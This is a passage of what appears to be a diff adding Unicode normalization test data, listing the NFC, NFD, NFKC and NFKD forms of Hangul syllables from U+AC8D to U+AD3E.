+{ source: [0xAC8D], NFC: [0xAC8D], NFD: [0x1100, 0x1166, 0x11A8], NFKC: [0xAC8D], NFKD: [0x1100, 0x1166, 0x11A8] },
+{ source: [0xAC8E], NFC: [0xAC8E], NFD: [0x1100, 0x1166, 0x11A9], NFKC: [0xAC8E], NFKD: [0x1100, 0x1166, 0x11A9] },
+{ source: [0xAC8F], NFC: [0xAC8F], NFD: [0x1100, 0x1166, 0x11AA], NFKC: [0xAC8F], NFKD: [0x1100, 0x1166, 0x11AA] },
+{ source: [0xAC90], NFC: [0xAC90], NFD: [0x1100, 0x1166, 0x11AB], NFKC: [0xAC90], NFKD: [0x1100, 0x1166, 0x11AB] },
+{ source: [0xAC91], NFC: [0xAC91], NFD: [0x1100, 0x1166, 0x11AC], NFKC: [0xAC91], NFKD: [0x1100, 0x1166, 0x11AC] },
+{ source: [0xAC92], NFC: [0xAC92], NFD: [0x1100, 0x1166, 0x11AD], NFKC: [0xAC92], NFKD: [0x1100, 0x1166, 0x11AD] },
+{ source: [0xAC93], NFC: [0xAC93], NFD: [0x1100, 0x1166, 0x11AE], NFKC: [0xAC93], NFKD: [0x1100, 0x1166, 0x11AE] },
+{ source: [0xAC94], NFC: [0xAC94], NFD: [0x1100, 0x1166, 0x11AF], NFKC: [0xAC94], NFKD: [0x1100, 0x1166, 0x11AF] },
+{ source: [0xAC95], NFC: [0xAC95], NFD: [0x1100, 0x1166, 0x11B0], NFKC: [0xAC95], NFKD: [0x1100, 0x1166, 0x11B0] },
+{ source: [0xAC96], NFC: [0xAC96], NFD: [0x1100, 0x1166, 0x11B1], NFKC: [0xAC96], NFKD: [0x1100, 0x1166, 0x11B1] },
+{ source: [0xAC97], NFC: [0xAC97], NFD: [0x1100, 0x1166, 0x11B2], NFKC: [0xAC97], NFKD: [0x1100, 0x1166, 0x11B2] },
+{ source: [0xAC98], NFC: [0xAC98], NFD: [0x1100, 0x1166, 0x11B3], NFKC: [0xAC98], NFKD: [0x1100, 0x1166, 0x11B3] },
+{ source: [0xAC99], NFC: [0xAC99], NFD: [0x1100, 0x1166, 0x11B4], NFKC: [0xAC99], NFKD: [0x1100, 0x1166, 0x11B4] },
+{ source: [0xAC9A], NFC: [0xAC9A], NFD: [0x1100, 0x1166, 0x11B5], NFKC: [0xAC9A], NFKD: [0x1100, 0x1166, 0x11B5] },
+{ source: [0xAC9B], NFC: [0xAC9B], NFD: [0x1100, 0x1166, 0x11B6], NFKC: [0xAC9B], NFKD: [0x1100, 0x1166, 0x11B6] },
+{ source: [0xAC9C], NFC: [0xAC9C], NFD: [0x1100, 0x1166, 0x11B7], NFKC: [0xAC9C], NFKD: [0x1100, 0x1166, 0x11B7] },
+{ source: [0xAC9D], NFC: [0xAC9D], NFD: [0x1100, 0x1166, 0x11B8], NFKC: [0xAC9D], NFKD: [0x1100, 0x1166, 0x11B8] },
+{ source: [0xAC9E], NFC: [0xAC9E], NFD: [0x1100, 0x1166, 0x11B9], NFKC: [0xAC9E], NFKD: [0x1100, 0x1166, 0x11B9] },
+{ source: [0xAC9F], NFC: [0xAC9F], NFD: [0x1100, 0x1166, 0x11BA], NFKC: [0xAC9F], NFKD: [0x1100, 0x1166, 0x11BA] },
+{ source: [0xACA0], NFC: [0xACA0], NFD: [0x1100, 0x1166, 0x11BB], NFKC: [0xACA0], NFKD: [0x1100, 0x1166, 0x11BB] },
+{ source: [0xACA1], NFC: [0xACA1], NFD: [0x1100, 0x1166, 0x11BC], NFKC: [0xACA1], NFKD: [0x1100, 0x1166, 0x11BC] },
+{ source: [0xACA2], NFC: [0xACA2], NFD: [0x1100, 0x1166, 0x11BD], NFKC: [0xACA2], NFKD: [0x1100, 0x1166, 0x11BD] },
+{ source: [0xACA3], NFC: [0xACA3], NFD: [0x1100, 0x1166, 0x11BE], NFKC: [0xACA3], NFKD: [0x1100, 0x1166, 0x11BE] },
+{ source: [0xACA4], NFC: [0xACA4], NFD: [0x1100, 0x1166, 0x11BF], NFKC: [0xACA4], NFKD: [0x1100, 0x1166, 0x11BF] },
+{ source: [0xACA5], NFC: [0xACA5], NFD: [0x1100, 0x1166, 0x11C0], NFKC: [0xACA5], NFKD: [0x1100, 0x1166, 0x11C0] },
+{ source: [0xACA6], NFC: [0xACA6], NFD: [0x1100, 0x1166, 0x11C1], NFKC: [0xACA6], NFKD: [0x1100, 0x1166, 0x11C1] },
+{ source: [0xACA7], NFC: [0xACA7], NFD: [0x1100, 0x1166, 0x11C2], NFKC: [0xACA7], NFKD: [0x1100, 0x1166, 0x11C2] },
+{ source: [0xACA8], NFC: [0xACA8], NFD: [0x1100, 0x1167], NFKC: [0xACA8], NFKD: [0x1100, 0x1167] },
+{ source: [0xACA9], NFC: [0xACA9], NFD: [0x1100, 0x1167, 0x11A8], NFKC: [0xACA9], NFKD: [0x1100, 0x1167, 0x11A8] },
+{ source: [0xACAA], NFC: [0xACAA], NFD: [0x1100, 0x1167, 0x11A9], NFKC: [0xACAA], NFKD: [0x1100, 0x1167, 0x11A9] },
+{ source: [0xACAB], NFC: [0xACAB], NFD: [0x1100, 0x1167, 0x11AA], NFKC: [0xACAB], NFKD: [0x1100, 0x1167, 0x11AA] },
+{ source: [0xACAC], NFC: [0xACAC], NFD: [0x1100, 0x1167, 0x11AB], NFKC: [0xACAC], NFKD: [0x1100, 0x1167, 0x11AB] },
+{ source: [0xACAD], NFC: [0xACAD], NFD: [0x1100, 0x1167, 0x11AC], NFKC: [0xACAD], NFKD: [0x1100, 0x1167, 0x11AC] },
+{ source: [0xACAE], NFC: [0xACAE], NFD: [0x1100, 0x1167, 0x11AD], NFKC: [0xACAE], NFKD: [0x1100, 0x1167, 0x11AD] },
+{ source: [0xACAF], NFC: [0xACAF], NFD: [0x1100, 0x1167, 0x11AE], NFKC: [0xACAF], NFKD: [0x1100, 0x1167, 0x11AE] },
+{ source: [0xACB0], NFC: [0xACB0], NFD: [0x1100, 0x1167, 0x11AF], NFKC: [0xACB0], NFKD: [0x1100, 0x1167, 0x11AF] },
+{ source: [0xACB1], NFC: [0xACB1], NFD: [0x1100, 0x1167, 0x11B0], NFKC: [0xACB1], NFKD: [0x1100, 0x1167, 0x11B0] },
+{ source: [0xACB2], NFC: [0xACB2], NFD: [0x1100, 0x1167, 0x11B1], NFKC: [0xACB2], NFKD: [0x1100, 0x1167, 0x11B1] },
+{ source: [0xACB3], NFC: [0xACB3], NFD: [0x1100, 0x1167, 0x11B2], NFKC: [0xACB3], NFKD: [0x1100, 0x1167, 0x11B2] },
+{ source: [0xACB4], NFC: [0xACB4], NFD: [0x1100, 0x1167, 0x11B3], NFKC: [0xACB4], NFKD: [0x1100, 0x1167, 0x11B3] },
+{ source: [0xACB5], NFC: [0xACB5], NFD: [0x1100, 0x1167, 0x11B4], NFKC: [0xACB5], NFKD: [0x1100, 0x1167, 0x11B4] },
+{ source: [0xACB6], NFC: [0xACB6], NFD: [0x1100, 0x1167, 0x11B5], NFKC: [0xACB6], NFKD: [0x1100, 0x1167, 0x11B5] },
+{ source: [0xACB7], NFC: [0xACB7], NFD: [0x1100, 0x1167, 0x11B6], NFKC: [0xACB7], NFKD: [0x1100, 0x1167, 0x11B6] },
+{ source: [0xACB8], NFC: [0xACB8], NFD: [0x1100, 0x1167, 0x11B7], NFKC: [0xACB8], NFKD: [0x1100, 0x1167, 0x11B7] },
+{ source: [0xACB9], NFC: [0xACB9], NFD: [0x1100, 0x1167, 0x11B8], NFKC: [0xACB9], NFKD: [0x1100, 0x1167, 0x11B8] },
+{ source: [0xACBA], NFC: [0xACBA], NFD: [0x1100, 0x1167, 0x11B9], NFKC: [0xACBA], NFKD: [0x1100, 0x1167, 0x11B9] },
+{ source: [0xACBB], NFC: [0xACBB], NFD: [0x1100, 0x1167, 0x11BA], NFKC: [0xACBB], NFKD: [0x1100, 0x1167, 0x11BA] },
+{ source: [0xACBC], NFC: [0xACBC], NFD: [0x1100, 0x1167, 0x11BB], NFKC: [0xACBC], NFKD: [0x1100, 0x1167, 0x11BB] },
+{ source: [0xACBD], NFC: [0xACBD], NFD: [0x1100, 0x1167, 0x11BC], NFKC: [0xACBD], NFKD: [0x1100, 0x1167, 0x11BC] },
+{ source: [0xACBE], NFC: [0xACBE], NFD: [0x1100, 0x1167, 0x11BD], NFKC: [0xACBE], NFKD: [0x1100, 0x1167, 0x11BD] },
+{ source: [0xACBF], NFC: [0xACBF], NFD: [0x1100, 0x1167, 0x11BE], NFKC: [0xACBF], NFKD: [0x1100, 0x1167, 0x11BE] },
+{ source: [0xACC0], NFC: [0xACC0], NFD: [0x1100, 0x1167, 0x11BF], NFKC: [0xACC0], NFKD: [0x1100, 0x1167, 0x11BF] },
+{ source: [0xACC1], NFC: [0xACC1], NFD: [0x1100, 0x1167, 0x11C0], NFKC: [0xACC1], NFKD: [0x1100, 0x1167, 0x11C0] },
+{ source: [0xACC2], NFC: [0xACC2], NFD: [0x1100, 0x1167, 0x11C1], NFKC: [0xACC2], NFKD: [0x1100, 0x1167, 0x11C1] },
+{ source: [0xACC3], NFC: [0xACC3], NFD: [0x1100, 0x1167, 0x11C2], NFKC: [0xACC3], NFKD: [0x1100, 0x1167, 0x11C2] },
+{ source: [0xACC4], NFC: [0xACC4], NFD: [0x1100, 0x1168], NFKC: [0xACC4], NFKD: [0x1100, 0x1168] },
+{ source: [0xACC5], NFC: [0xACC5], NFD: [0x1100, 0x1168, 0x11A8], NFKC: [0xACC5], NFKD: [0x1100, 0x1168, 0x11A8] },
+{ source: [0xACC6], NFC: [0xACC6], NFD: [0x1100, 0x1168, 0x11A9], NFKC: [0xACC6], NFKD: [0x1100, 0x1168, 0x11A9] },
+{ source: [0xACC7], NFC: [0xACC7], NFD: [0x1100, 0x1168, 0x11AA], NFKC: [0xACC7], NFKD: [0x1100, 0x1168, 0x11AA] },
+{ source: [0xACC8], NFC: [0xACC8], NFD: [0x1100, 0x1168, 0x11AB], NFKC: [0xACC8], NFKD: [0x1100, 0x1168, 0x11AB] },
+{ source: [0xACC9], NFC: [0xACC9], NFD: [0x1100, 0x1168, 0x11AC], NFKC: [0xACC9], NFKD: [0x1100, 0x1168, 0x11AC] },
+{ source: [0xACCA], NFC: [0xACCA], NFD: [0x1100, 0x1168, 0x11AD], NFKC: [0xACCA], NFKD: [0x1100, 0x1168, 0x11AD] },
+{ source: [0xACCB], NFC: [0xACCB], NFD: [0x1100, 0x1168, 0x11AE], NFKC: [0xACCB], NFKD: [0x1100, 0x1168, 0x11AE] },
+{ source: [0xACCC], NFC: [0xACCC], NFD: [0x1100, 0x1168, 0x11AF], NFKC: [0xACCC], NFKD: [0x1100, 0x1168, 0x11AF] },
+{ source: [0xACCD], NFC: [0xACCD], NFD: [0x1100, 0x1168, 0x11B0], NFKC: [0xACCD], NFKD: [0x1100, 0x1168, 0x11B0] },
+{ source: [0xACCE], NFC: [0xACCE], NFD: [0x1100, 0x1168, 0x11B1], NFKC: [0xACCE], NFKD: [0x1100, 0x1168, 0x11B1] },
+{ source: [0xACCF], NFC: [0xACCF], NFD: [0x1100, 0x1168, 0x11B2], NFKC: [0xACCF], NFKD: [0x1100, 0x1168, 0x11B2] },
+{ source: [0xACD0], NFC: [0xACD0], NFD: [0x1100, 0x1168, 0x11B3], NFKC: [0xACD0], NFKD: [0x1100, 0x1168, 0x11B3] },
+{ source: [0xACD1], NFC: [0xACD1], NFD: [0x1100, 0x1168, 0x11B4], NFKC: [0xACD1], NFKD: [0x1100, 0x1168, 0x11B4] },
+{ source: [0xACD2], NFC: [0xACD2], NFD: [0x1100, 0x1168, 0x11B5], NFKC: [0xACD2], NFKD: [0x1100, 0x1168, 0x11B5] },
+{ source: [0xACD3], NFC: [0xACD3], NFD: [0x1100, 0x1168, 0x11B6], NFKC: [0xACD3], NFKD: [0x1100, 0x1168, 0x11B6] },
+{ source: [0xACD4], NFC: [0xACD4], NFD: [0x1100, 0x1168, 0x11B7], NFKC: [0xACD4], NFKD: [0x1100, 0x1168, 0x11B7] },
+{ source: [0xACD5], NFC: [0xACD5], NFD: [0x1100, 0x1168, 0x11B8], NFKC: [0xACD5], NFKD: [0x1100, 0x1168, 0x11B8] },
+{ source: [0xACD6], NFC: [0xACD6], NFD: [0x1100, 0x1168, 0x11B9], NFKC: [0xACD6], NFKD: [0x1100, 0x1168, 0x11B9] },
+{ source: [0xACD7], NFC: [0xACD7], NFD: [0x1100, 0x1168, 0x11BA], NFKC: [0xACD7], NFKD: [0x1100, 0x1168, 0x11BA] },
+{ source: [0xACD8], NFC: [0xACD8], NFD: [0x1100, 0x1168, 0x11BB], NFKC: [0xACD8], NFKD: [0x1100, 0x1168, 0x11BB] },
+{ source: [0xACD9], NFC: [0xACD9], NFD: [0x1100, 0x1168, 0x11BC], NFKC: [0xACD9], NFKD: [0x1100, 0x1168, 0x11BC] },
+{ source: [0xACDA], NFC: [0xACDA], NFD: [0x1100, 0x1168, 0x11BD], NFKC: [0xACDA], NFKD: [0x1100, 0x1168, 0x11BD] },
+{ source: [0xACDB], NFC: [0xACDB], NFD: [0x1100, 0x1168, 0x11BE], NFKC: [0xACDB], NFKD: [0x1100, 0x1168, 0x11BE] },
+{ source: [0xACDC], NFC: [0xACDC], NFD: [0x1100, 0x1168, 0x11BF], NFKC: [0xACDC], NFKD: [0x1100, 0x1168, 0x11BF] },
+{ source: [0xACDD], NFC: [0xACDD], NFD: [0x1100, 0x1168, 0x11C0], NFKC: [0xACDD], NFKD: [0x1100, 0x1168, 0x11C0] },
+{ source: [0xACDE], NFC: [0xACDE], NFD: [0x1100, 0x1168, 0x11C1], NFKC: [0xACDE], NFKD: [0x1100, 0x1168, 0x11C1] },
+{ source: [0xACDF], NFC: [0xACDF], NFD: [0x1100, 0x1168, 0x11C2], NFKC: [0xACDF], NFKD: [0x1100, 0x1168, 0x11C2] },
+{ source: [0xACE0], NFC: [0xACE0], NFD: [0x1100, 0x1169], NFKC: [0xACE0], NFKD: [0x1100, 0x1169] },
+{ source: [0xACE1], NFC: [0xACE1], NFD: [0x1100, 0x1169, 0x11A8], NFKC: [0xACE1], NFKD: [0x1100, 0x1169, 0x11A8] },
+{ source: [0xACE2], NFC: [0xACE2], NFD: [0x1100, 0x1169, 0x11A9], NFKC: [0xACE2], NFKD: [0x1100, 0x1169, 0x11A9] },
+{ source: [0xACE3], NFC: [0xACE3], NFD: [0x1100, 0x1169, 0x11AA], NFKC: [0xACE3], NFKD: [0x1100, 0x1169, 0x11AA] },
+{ source: [0xACE4], NFC: [0xACE4], NFD: [0x1100, 0x1169, 0x11AB], NFKC: [0xACE4], NFKD: [0x1100, 0x1169, 0x11AB] },
+{ source: [0xACE5], NFC: [0xACE5], NFD: [0x1100, 0x1169, 0x11AC], NFKC: [0xACE5], NFKD: [0x1100, 0x1169, 0x11AC] },
+{ source: [0xACE6], NFC: [0xACE6], NFD: [0x1100, 0x1169, 0x11AD], NFKC: [0xACE6], NFKD: [0x1100, 0x1169, 0x11AD] },
+{ source: [0xACE7], NFC: [0xACE7], NFD: [0x1100, 0x1169, 0x11AE], NFKC: [0xACE7], NFKD: [0x1100, 0x1169, 0x11AE] },
+{ source: [0xACE8], NFC: [0xACE8], NFD: [0x1100, 0x1169, 0x11AF], NFKC: [0xACE8], NFKD: [0x1100, 0x1169, 0x11AF] },
+{ source: [0xACE9], NFC: [0xACE9], NFD: [0x1100, 0x1169, 0x11B0], NFKC: [0xACE9], NFKD: [0x1100, 0x1169, 0x11B0] },
+{ source: [0xACEA], NFC: [0xACEA], NFD: [0x1100, 0x1169, 0x11B1], NFKC: [0xACEA], NFKD: [0x1100, 0x1169, 0x11B1] },
+{ source: [0xACEB], NFC: [0xACEB], NFD: [0x1100, 0x1169, 0x11B2], NFKC: [0xACEB], NFKD: [0x1100, 0x1169, 0x11B2] },
+{ source: [0xACEC], NFC: [0xACEC], NFD: [0x1100, 0x1169, 0x11B3], NFKC: [0xACEC], NFKD: [0x1100, 0x1169, 0x11B3] },
+{ source: [0xACED], NFC: [0xACED], NFD: [0x1100, 0x1169, 0x11B4], NFKC: [0xACED], NFKD: [0x1100, 0x1169, 0x11B4] },
+{ source: [0xACEE], NFC: [0xACEE], NFD: [0x1100, 0x1169, 0x11B5], NFKC: [0xACEE], NFKD: [0x1100, 0x1169, 0x11B5] },
+{ source: [0xACEF], NFC: [0xACEF], NFD: [0x1100, 0x1169, 0x11B6], NFKC: [0xACEF], NFKD: [0x1100, 0x1169, 0x11B6] },
+{ source: [0xACF0], NFC: [0xACF0], NFD: [0x1100, 0x1169, 0x11B7], NFKC: [0xACF0], NFKD: [0x1100, 0x1169, 0x11B7] },
+{ source: [0xACF1], NFC: [0xACF1], NFD: [0x1100, 0x1169, 0x11B8], NFKC: [0xACF1], NFKD: [0x1100, 0x1169, 0x11B8] },
+{ source: [0xACF2], NFC: [0xACF2], NFD: [0x1100, 0x1169, 0x11B9], NFKC: [0xACF2], NFKD: [0x1100, 0x1169, 0x11B9] },
+{ source: [0xACF3], NFC: [0xACF3], NFD: [0x1100, 0x1169, 0x11BA], NFKC: [0xACF3], NFKD: [0x1100, 0x1169, 0x11BA] },
+{ source: [0xACF4], NFC: [0xACF4], NFD: [0x1100, 0x1169, 0x11BB], NFKC: [0xACF4], NFKD: [0x1100, 0x1169, 0x11BB] },
+{ source: [0xACF5], NFC: [0xACF5], NFD: [0x1100, 0x1169, 0x11BC], NFKC: [0xACF5], NFKD: [0x1100, 0x1169, 0x11BC] },
+{ source: [0xACF6], NFC: [0xACF6], NFD: [0x1100, 0x1169, 0x11BD], NFKC: [0xACF6], NFKD: [0x1100, 0x1169, 0x11BD] },
+{ source: [0xACF7], NFC: [0xACF7], NFD: [0x1100, 0x1169, 0x11BE], NFKC: [0xACF7], NFKD: [0x1100, 0x1169, 0x11BE] },
+{ source: [0xACF8], NFC: [0xACF8], NFD: [0x1100, 0x1169, 0x11BF], NFKC: [0xACF8], NFKD: [0x1100, 0x1169, 0x11BF] },
+{ source: [0xACF9], NFC: [0xACF9], NFD: [0x1100, 0x1169, 0x11C0], NFKC: [0xACF9], NFKD: [0x1100, 0x1169, 0x11C0] },
+{ source: [0xACFA], NFC: [0xACFA], NFD: [0x1100, 0x1169, 0x11C1], NFKC: [0xACFA], NFKD: [0x1100, 0x1169, 0x11C1] },
+{ source: [0xACFB], NFC: [0xACFB], NFD: [0x1100, 0x1169, 0x11C2], NFKC: [0xACFB], NFKD: [0x1100, 0x1169, 0x11C2] },
+{ source: [0xACFC], NFC: [0xACFC], NFD: [0x1100, 0x116A], NFKC: [0xACFC], NFKD: [0x1100, 0x116A] },
+{ source: [0xACFD], NFC: [0xACFD], NFD: [0x1100, 0x116A, 0x11A8], NFKC: [0xACFD], NFKD: [0x1100, 0x116A, 0x11A8] },
+{ source: [0xACFE], NFC: [0xACFE], NFD: [0x1100, 0x116A, 0x11A9], NFKC: [0xACFE], NFKD: [0x1100, 0x116A, 0x11A9] },
+{ source: [0xACFF], NFC: [0xACFF], NFD: [0x1100, 0x116A, 0x11AA], NFKC: [0xACFF], NFKD: [0x1100, 0x116A, 0x11AA] },
+{ source: [0xAD00], NFC: [0xAD00], NFD: [0x1100, 0x116A, 0x11AB], NFKC: [0xAD00], NFKD: [0x1100, 0x116A, 0x11AB] },
+{ source: [0xAD01], NFC: [0xAD01], NFD: [0x1100, 0x116A, 0x11AC], NFKC: [0xAD01], NFKD: [0x1100, 0x116A, 0x11AC] },
+{ source: [0xAD02], NFC: [0xAD02], NFD: [0x1100, 0x116A, 0x11AD], NFKC: [0xAD02], NFKD: [0x1100, 0x116A, 0x11AD] },
+{ source: [0xAD03], NFC: [0xAD03], NFD: [0x1100, 0x116A, 0x11AE], NFKC: [0xAD03], NFKD: [0x1100, 0x116A, 0x11AE] },
+{ source: [0xAD04], NFC: [0xAD04], NFD: [0x1100, 0x116A, 0x11AF], NFKC: [0xAD04], NFKD: [0x1100, 0x116A, 0x11AF] },
+{ source: [0xAD05], NFC: [0xAD05], NFD: [0x1100, 0x116A, 0x11B0], NFKC: [0xAD05], NFKD: [0x1100, 0x116A, 0x11B0] },
+{ source: [0xAD06], NFC: [0xAD06], NFD: [0x1100, 0x116A, 0x11B1], NFKC: [0xAD06], NFKD: [0x1100, 0x116A, 0x11B1] },
+{ source: [0xAD07], NFC: [0xAD07], NFD: [0x1100, 0x116A, 0x11B2], NFKC: [0xAD07], NFKD: [0x1100, 0x116A, 0x11B2] },
+{ source: [0xAD08], NFC: [0xAD08], NFD: [0x1100, 0x116A, 0x11B3], NFKC: [0xAD08], NFKD: [0x1100, 0x116A, 0x11B3] },
+{ source: [0xAD09], NFC: [0xAD09], NFD: [0x1100, 0x116A, 0x11B4], NFKC: [0xAD09], NFKD: [0x1100, 0x116A, 0x11B4] },
+{ source: [0xAD0A], NFC: [0xAD0A], NFD: [0x1100, 0x116A, 0x11B5], NFKC: [0xAD0A], NFKD: [0x1100, 0x116A, 0x11B5] },
+{ source: [0xAD0B], NFC: [0xAD0B], NFD: [0x1100, 0x116A, 0x11B6], NFKC: [0xAD0B], NFKD: [0x1100, 0x116A, 0x11B6] },
+{ source: [0xAD0C], NFC: [0xAD0C], NFD: [0x1100, 0x116A, 0x11B7], NFKC: [0xAD0C], NFKD: [0x1100, 0x116A, 0x11B7] },
+{ source: [0xAD0D], NFC: [0xAD0D], NFD: [0x1100, 0x116A, 0x11B8], NFKC: [0xAD0D], NFKD: [0x1100, 0x116A, 0x11B8] },
+{ source: [0xAD0E], NFC: [0xAD0E], NFD: [0x1100, 0x116A, 0x11B9], NFKC: [0xAD0E], NFKD: [0x1100, 0x116A, 0x11B9] },
+{ source: [0xAD0F], NFC: [0xAD0F], NFD: [0x1100, 0x116A, 0x11BA], NFKC: [0xAD0F], NFKD: [0x1100, 0x116A, 0x11BA] },
+{ source: [0xAD10], NFC: [0xAD10], NFD: [0x1100, 0x116A, 0x11BB], NFKC: [0xAD10], NFKD: [0x1100, 0x116A, 0x11BB] },
+{ source: [0xAD11], NFC: [0xAD11], NFD: [0x1100, 0x116A, 0x11BC], NFKC: [0xAD11], NFKD: [0x1100, 0x116A, 0x11BC] },
+{ source: [0xAD12], NFC: [0xAD12], NFD: [0x1100, 0x116A, 0x11BD], NFKC: [0xAD12], NFKD: [0x1100, 0x116A, 0x11BD] },
+{ source: [0xAD13], NFC: [0xAD13], NFD: [0x1100, 0x116A, 0x11BE], NFKC: [0xAD13], NFKD: [0x1100, 0x116A, 0x11BE] },
+{ source: [0xAD14], NFC: [0xAD14], NFD: [0x1100, 0x116A, 0x11BF], NFKC: [0xAD14], NFKD: [0x1100, 0x116A, 0x11BF] },
+{ source: [0xAD15], NFC: [0xAD15], NFD: [0x1100, 0x116A, 0x11C0], NFKC: [0xAD15], NFKD: [0x1100, 0x116A, 0x11C0] },
+{ source: [0xAD16], NFC: [0xAD16], NFD: [0x1100, 0x116A, 0x11C1], NFKC: [0xAD16], NFKD: [0x1100, 0x116A, 0x11C1] },
+{ source: [0xAD17], NFC: [0xAD17], NFD: [0x1100, 0x116A, 0x11C2], NFKC: [0xAD17], NFKD: [0x1100, 0x116A, 0x11C2] },
+{ source: [0xAD18], NFC: [0xAD18], NFD: [0x1100, 0x116B], NFKC: [0xAD18], NFKD: [0x1100, 0x116B] },
+{ source: [0xAD19], NFC: [0xAD19], NFD: [0x1100, 0x116B, 0x11A8], NFKC: [0xAD19], NFKD: [0x1100, 0x116B, 0x11A8] },
+{ source: [0xAD1A], NFC: [0xAD1A], NFD: [0x1100, 0x116B, 0x11A9], NFKC: [0xAD1A], NFKD: [0x1100, 0x116B, 0x11A9] },
+{ source: [0xAD1B], NFC: [0xAD1B], NFD: [0x1100, 0x116B, 0x11AA], NFKC: [0xAD1B], NFKD: [0x1100, 0x116B, 0x11AA] },
+{ source: [0xAD1C], NFC: [0xAD1C], NFD: [0x1100, 0x116B, 0x11AB], NFKC: [0xAD1C], NFKD: [0x1100, 0x116B, 0x11AB] },
+{ source: [0xAD1D], NFC: [0xAD1D], NFD: [0x1100, 0x116B, 0x11AC], NFKC: [0xAD1D], NFKD: [0x1100, 0x116B, 0x11AC] },
+{ source: [0xAD1E], NFC: [0xAD1E], NFD: [0x1100, 0x116B, 0x11AD], NFKC: [0xAD1E], NFKD: [0x1100, 0x116B, 0x11AD] },
+{ source: [0xAD1F], NFC: [0xAD1F], NFD: [0x1100, 0x116B, 0x11AE], NFKC: [0xAD1F], NFKD: [0x1100, 0x116B, 0x11AE] },
+{ source: [0xAD20], NFC: [0xAD20], NFD: [0x1100, 0x116B, 0x11AF], NFKC: [0xAD20], NFKD: [0x1100, 0x116B, 0x11AF] },
+{ source: [0xAD21], NFC: [0xAD21], NFD: [0x1100, 0x116B, 0x11B0], NFKC: [0xAD21], NFKD: [0x1100, 0x116B, 0x11B0] },
+{ source: [0xAD22], NFC: [0xAD22], NFD: [0x1100, 0x116B, 0x11B1], NFKC: [0xAD22], NFKD: [0x1100, 0x116B, 0x11B1] },
+{ source: [0xAD23], NFC: [0xAD23], NFD: [0x1100, 0x116B, 0x11B2], NFKC: [0xAD23], NFKD: [0x1100, 0x116B, 0x11B2] },
+{ source: [0xAD24], NFC: [0xAD24], NFD: [0x1100, 0x116B, 0x11B3], NFKC: [0xAD24], NFKD: [0x1100, 0x116B, 0x11B3] },
+{ source: [0xAD25], NFC: [0xAD25], NFD: [0x1100, 0x116B, 0x11B4], NFKC: [0xAD25], NFKD: [0x1100, 0x116B, 0x11B4] },
+{ source: [0xAD26], NFC: [0xAD26], NFD: [0x1100, 0x116B, 0x11B5], NFKC: [0xAD26], NFKD: [0x1100, 0x116B, 0x11B5] },
+{ source: [0xAD27], NFC: [0xAD27], NFD: [0x1100, 0x116B, 0x11B6], NFKC: [0xAD27], NFKD: [0x1100, 0x116B, 0x11B6] },
+{ source: [0xAD28], NFC: [0xAD28], NFD: [0x1100, 0x116B, 0x11B7], NFKC: [0xAD28], NFKD: [0x1100, 0x116B, 0x11B7] },
+{ source: [0xAD29], NFC: [0xAD29], NFD: [0x1100, 0x116B, 0x11B8], NFKC: [0xAD29], NFKD: [0x1100, 0x116B, 0x11B8] },
+{ source: [0xAD2A], NFC: [0xAD2A], NFD: [0x1100, 0x116B, 0x11B9], NFKC: [0xAD2A], NFKD: [0x1100, 0x116B, 0x11B9] },
+{ source: [0xAD2B], NFC: [0xAD2B], NFD: [0x1100, 0x116B, 0x11BA], NFKC: [0xAD2B], NFKD: [0x1100, 0x116B, 0x11BA] },
+{ source: [0xAD2C], NFC: [0xAD2C], NFD: [0x1100, 0x116B, 0x11BB], NFKC: [0xAD2C], NFKD: [0x1100, 0x116B, 0x11BB] },
+{ source: [0xAD2D], NFC: [0xAD2D], NFD: [0x1100, 0x116B, 0x11BC], NFKC: [0xAD2D], NFKD: [0x1100, 0x116B, 0x11BC] },
+{ source: [0xAD2E], NFC: [0xAD2E], NFD: [0x1100, 0x116B, 0x11BD], NFKC: [0xAD2E], NFKD: [0x1100, 0x116B, 0x11BD] },
+{ source: [0xAD2F], NFC: [0xAD2F], NFD: [0x1100, 0x116B, 0x11BE], NFKC: [0xAD2F], NFKD: [0x1100, 0x116B, 0x11BE] },
+{ source: [0xAD30], NFC: [0xAD30], NFD: [0x1100, 0x116B, 0x11BF], NFKC: [0xAD30], NFKD: [0x1100, 0x116B, 0x11BF] },
+{ source: [0xAD31], NFC: [0xAD31], NFD: [0x1100, 0x116B, 0x11C0], NFKC: [0xAD31], NFKD: [0x1100, 0x116B, 0x11C0] },
+{ source: [0xAD32], NFC: [0xAD32], NFD: [0x1100, 0x116B, 0x11C1], NFKC: [0xAD32], NFKD: [0x1100, 0x116B, 0x11C1] },
+{ source: [0xAD33], NFC: [0xAD33], NFD: [0x1100, 0x116B, 0x11C2], NFKC: [0xAD33], NFKD: [0x1100, 0x116B, 0x11C2] },
+{ source: [0xAD34], NFC: [0xAD34], NFD: [0x1100, 0x116C], NFKC: [0xAD34], NFKD: [0x1100, 0x116C] },
+{ source: [0xAD35], NFC: [0xAD35], NFD: [0x1100, 0x116C, 0x11A8], NFKC: [0xAD35], NFKD: [0x1100, 0x116C, 0x11A8] },
+{ source: [0xAD36], NFC: [0xAD36], NFD: [0x1100, 0x116C, 0x11A9], NFKC: [0xAD36], NFKD: [0x1100, 0x116C, 0x11A9] },
+{ source: [0xAD37], NFC: [0xAD37], NFD: [0x1100, 0x116C, 0x11AA], NFKC: [0xAD37], NFKD: [0x1100, 0x116C, 0x11AA] },
+{ source: [0xAD38], NFC: [0xAD38], NFD: [0x1100, 0x116C, 0x11AB], NFKC: [0xAD38], NFKD: [0x1100, 0x116C, 0x11AB] },
+{ source: [0xAD39], NFC: [0xAD39], NFD: [0x1100, 0x116C, 0x11AC], NFKC: [0xAD39], NFKD: [0x1100, 0x116C, 0x11AC] },
+{ source: [0xAD3A], NFC: [0xAD3A], NFD: [0x1100, 0x116C, 0x11AD], NFKC: [0xAD3A], NFKD: [0x1100, 0x116C, 0x11AD] },
+{ source: [0xAD3B], NFC: [0xAD3B], NFD: [0x1100, 0x116C, 0x11AE], NFKC: [0xAD3B], NFKD: [0x1100, 0x116C, 0x11AE] },
+{ source: [0xAD3C], NFC: [0xAD3C], NFD: [0x1100, 0x116C, 0x11AF], NFKC: [0xAD3C], NFKD: [0x1100, 0x116C, 0x11AF] },
+{ source: [0xAD3D], NFC: [0xAD3D], NFD: [0x1100, 0x116C, 0x11B0], NFKC: [0xAD3D], NFKD: [0x1100, 0x116C, 0x11B0] },
+{ source: [0xAD3E], NFC: [0xAD3E], NFD: [0x1100, 0x116C, 0x11B1], NFKC: [0xAD3E], NFKD: [0x1100, 0x116C, 0x11B1] },
